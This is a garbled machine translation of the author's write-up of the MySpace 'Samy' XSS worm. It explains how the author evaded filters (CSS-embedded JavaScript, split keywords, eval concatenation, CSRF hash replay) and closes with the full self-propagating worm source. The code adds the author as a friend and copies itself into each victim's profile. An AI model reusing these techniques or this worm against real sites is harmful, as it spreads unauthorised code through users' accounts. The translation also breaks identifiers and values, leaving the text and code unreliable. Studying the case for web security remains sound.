Http://namb.la/popular/tech.html
Technical explanation of MySpace worm (also known as Samy or Js. spacehero worm)
Click here to learn more interesting things about the MySpace Worm
All the code for this worm is listed at the bottom of the article.
Please note that this explanation is issued only after MySpace solves this problem. All the Code mentioned below will not take effect now, otherwise it will be deliberately destroyed. Let's take a look at how it is generated, solved, and generally effective.
1) MySpace has many tags, but in fact they only support <A>, , <div>, and other tags. Maybe there are other tags, such as <embed>. They do not allow <SCRIPT>, <body> tags, or any onclick events,
And the href attribute in javascrip. However, some browsers (such as IE, some versions of safari, and other browsers) Allow JavaScript to be used in CSS labels. We need JavaScript to get the information and execute it. For example:
<Div style = "Background: URL ('javascript: Alert (1) ')">
2)
Because we have used single quotation marks and double quotation marks in the DIV tag, we can no longer use quotation marks in the statement. This makes writing JavaScript very difficult. In order to bypass it, we use an expression to store JS and use its name to execute it. For example:
<Div id = "mycode" expr = "alert ('Hah! ') "Style =" Background: URL ('javascript: eval (document. All. mycode. expr)') ">
3) Great! Now we can use single quotes to write JavaScript. However, the MySpace Network filters "JavaScript" everywhere ". Some browsers automatically treat "Java \ nscript" (a line break between Java and script) as "JavaScript"
. For example ::
<Div id = "mycode" expr = "alert ('Hah! ') "Style =" Background: URL ('java
Script: eval (document. All. mycode. expr) ') ">
4) Well, although we can use single quotes, sometimes we still need double quotes. We can use escape characters, for example, "foo \" bar ". MySpace also takes this into consideration... they filter all the quotation marks, whether they are single or double quotation marks. However, we can generate quotation marks by converting to decimal in JavaScript. For example:
<Div id = "mycode" expr = "alert ('double quote: '+ String. fromcharcode (34)" style = "Background: URL ('java
Script: eval (document. All. mycode. expr) ') ">
5) In order to put the code in the user's profile, we need to get the source code of this page. Well, in order to get the page source code, we can use document. Body. innerhtml, just get the user ID to access this page. MySpace once again considered this, And they filtered "innerhtml" in all places ".
To get rid of this restriction, we use eval () to splice two strings into "innerhtml ". For example:
Alert (eval ('document. Body. inne '+ 'rhtml '));
6) It is time to access other pages. We can use iframes. However, in general, even hidden iframes are obvious, but the effect is not satisfactory. Therefore, to send http get and post requests on the client, we use Ajax (XML-HTTP ). However, MySpace filters out the required "onreadystatechange" in the XML-HTTP request"
. We use eval again to avoid checking.
For example: Eval ('xmlhttp. onread' + 'ystatechange = callback ');
7) It is time to send a request to get the user's followers. We don't want to delete any followers. We just want to add me to the followers list. If we can get the profile, we can get its attention list later. Through the content listed above, we can easily find the user ID. As we mentioned above, we can obtain it by capturing the source code on the page. However, now we need to search for keywords on the page, but when we search, true will always be returned. For example, if we want to check whether the page contains 'foo ', because the word is used, true is always returned. The solution is to construct it with evale, for example:
VaR Index = html. indexof ('frien' + 'did ');
8) Now we have a list of follow items. First, let's post on the page where I add friends and add me to the friends list. What? Didn't work ?! Why? Because we are on the profile.myspace.com page, and it needs to work on www.myspace.com. No big deal,
Only the XML-HTTP does not allow get/post from different domains. To solve this problem, we can use the same URL on www.myspace.com. For example:
If (location. hostname = 'profile .myspace.com ') document. Location = 'HTTP: // www.myspace.com' + location. pathname + location. search;
9) Finally, we can send a POST request. However, we sent a request but did not add it as a friend. Why? MySpace generates a random hash in each POST request page (for example, "Are you sure you want to add this person as a friend? "Page ). if the POST request is not carried with hash, the post will not succeed. to solve this problem, we imitate the browser to send a GET request before sending a POST request, and convert the source file to hash and send it together with the POST request.
10) Once the POST request is complete, we add a handler and add the code to the page. After the Code request is complete, it will return to the original page, and different hash values are required for sending the request. Therefore, we need to send a GET request again. Based on the subsequent page, generate another hash. However, sometimes URL-encoding and escape () may not escape all the data, so we need to do it manually.
11) Other restrictions, such as the maximum length, require compact code with no extra spaces, fuzzy names, and optional functions.
Some of these difficulties are not listed. This is not a pure process, nor will it cause harm to anyone. This is only because of interest. This is really interesting!
Finally, the following is all the source code:
<Div id = mycode style = "Background: URL ('java
Script: eval (document. all. mycode. expr) ') "expr =" Var B = string. fromcharcode (34); var A = string. fromcharcode (39); function g () {var C; try {var dashdocument.body.createtextrange({%c%d.html text} catch (e) {} if (c) {return c} else {return eval ('document. body. inne '+ 'rhtml')} Function
Getdata (Au) {M = getfromurl (AU, 'friendid'); L = getfromurl (AU, 'mytoken')} function getqueryparams () {var E = document. location. search; var F = E. substring (1, E. length ). split ('&'); VaR as = new array (); For (VAR o = 0; O <F. length; O ++) {var I = f [O]. split ('='); As [I [0] = I [1]} return as} VaR
J; VaR as = getqueryparams (); var L = as ['mytoken']; var M = as ['friendid']; If (location. hostname = 'profile .myspace.com ') {document. location = 'HTTP: // www.myspace.com '+ location. pathname + location. search} else {If (! M) {getdata (G ()} Main ()} function getclientfid () {return findin (G (), 'Up _ launchic (
'+ A, A)} function nothing () {} function paramstostring (AV) {var n = new string (); var o = 0; For (var p in AV) {If (O> 0) {n + = '&'} var q = escape (av [p]); While (Q. indexof ('+ ')! =-1) {q = Q. Replace ('+', '% 2B')} while (Q. indexof ('&')! =-1) {q = Q. Replace ('&', '% 26')} n + = P +' = '+ q; O ++} return n} Function
Httpsend (BH, Bi, BJ, BK) {If (! J) {return false} eval ('J. ONR '+ 'eadystatechange = bi'); J. open (BJ, BH, true); If (bj = 'post') {J. setRequestHeader ('content-type', 'application/X-WWW-form-urlencoded'); J. setRequestHeader ('content-length', BK. length)} J. send (BK); Return true} Function
Findin (Bf, BB, BC) {var r = BF. indexof (bb) + BB. length; var S = BF. substring (R, R + 1024); Return S. substring (0, S. indexof (BC)} function gethiddenparameter (Bf, BG) {return findin (Bf, 'name = '+ B + bg + B + 'value =' + B, B )} function getfromurl (Bf, BG) {var t; If (BG = 'mytoken') {T = B} else {T = '&'} VaR
U = bg + '='; var v = BF. indexof (u) + U. length; var W = BF. substring (V, V + 1024); var x = W. indexof (t); var y = W. substring (0, x); Return y} function getxmlobj () {var z = false; If (window. XMLHttpRequest) {try {z = new XMLHttpRequest ()} catch (e) {z = false} else if (window. activexobject) {try {z = new
Activexobject ('msxml2. XMLHTTP ')} catch (e) {try {z = new activexobject ('Microsoft. XMLHTTP ')} catch (e) {z = false }}return z} var AA = g (); var AB = AA. indexof ('M' + 'ycode'); var AC = AA. substring (AB, AB + 4096); var ad = ac. indexof ('D' + 'iv '); var AE = ac. substring (0, AD); var AF; If (AE) {AE = AE. replace ('jav' + 'A', A + 'jav' + 'A'); AE = AE. replace ('exp '+ 'r)', 'exp '+ 'r)' + a); AF ='
But most of all, Samy is my hero. <d' + 'iv id = '+ AE + 'D' + 'iv>'} var AG; function gethome () {If (J. readystate! = 4) {return} var Au = J. responsetext; Ag = findin (AU, 'P' + 'rofileherogs', '</TD>'); AG = Ag. substring (61, Ag. length); If (Ag. indexof ('samy') =-1) {If (AF) {Ag + = AF; var AR = getfromurl (AU, 'mytoken'); var
As = new array (); As ['interestlabel'] = 'herocs'; as ['submit '] = 'preview'; as ['interest'] = AG; j = getxmlobj (); httpsend ('/index. CFM? Fuseaction = profile. previewinterests & mytoken = '+ Ar, posthero, 'post', paramstostring (AS) }} function posthero () {If (J. readystate! = 4) {return} VaR
Au = J. responsetext; var AR = getfromurl (AU, 'mytoken'); VaR as = new array (); As ['interestlabel'] = 'heroes '; as ['submit '] = 'submit'; as ['interest '] = AG; as ['hash'] = gethiddenparameter (AU, 'hash '); httpsend ('/index. CFM? Fuseaction = profile. processinterests & mytoken = '+ Ar, nothing, 'post', paramstostring (AS)} Function
Main () {var an = getclientfid (); var bH = '/index. cfm? Fuseaction = user. viewprofile & friendid = '+ An +' & mytoken = '+ L; j = getxmlobj (); httpsend (BH, gethome, 'get'); xmlhttp2 = getxmlobj (); httpsend2 ('/index. CFM? Fuseaction = invite. addfriend_verify & friendid = 11851658 & mytoken = '+ L, processxform, 'get')} Function
Processxform () {If (xmlhttp2.readystate! = 4) {return} var Au = xmlhttp2.responsetext; var AQ = gethiddenparameter (AU, 'hashcode'); var AR = getfromurl (AU, 'mytoken '); vaR as = new array (); As ['hashcode'] = AQ; as ['friendid'] = '2016 '; as ['submit '] = 'add to DS'; httpsend2 ('/index. CFM? Fuseaction = invite. addfriendsprocess & mytoken = '+ Ar, nothing, 'post', paramstostring (AS)} Function
Httpsend2 (BH, Bi, BJ, BK) {If (! Xmlhttp2) {return false} eval ('xmlhttp2. ONR '+ 'eadystatechange = bi'); xmlhttp2.open (BJ, BH, true); If (bj = 'post') {xmlhttp2.setrequestheader ('content-type ', 'application/X-WWW-form-urlencoded '); xmlhttp2.setrequestheader ('content-length', BK. length)} xmlhttp2.send (BK); Return
True} "> </div>
-Samy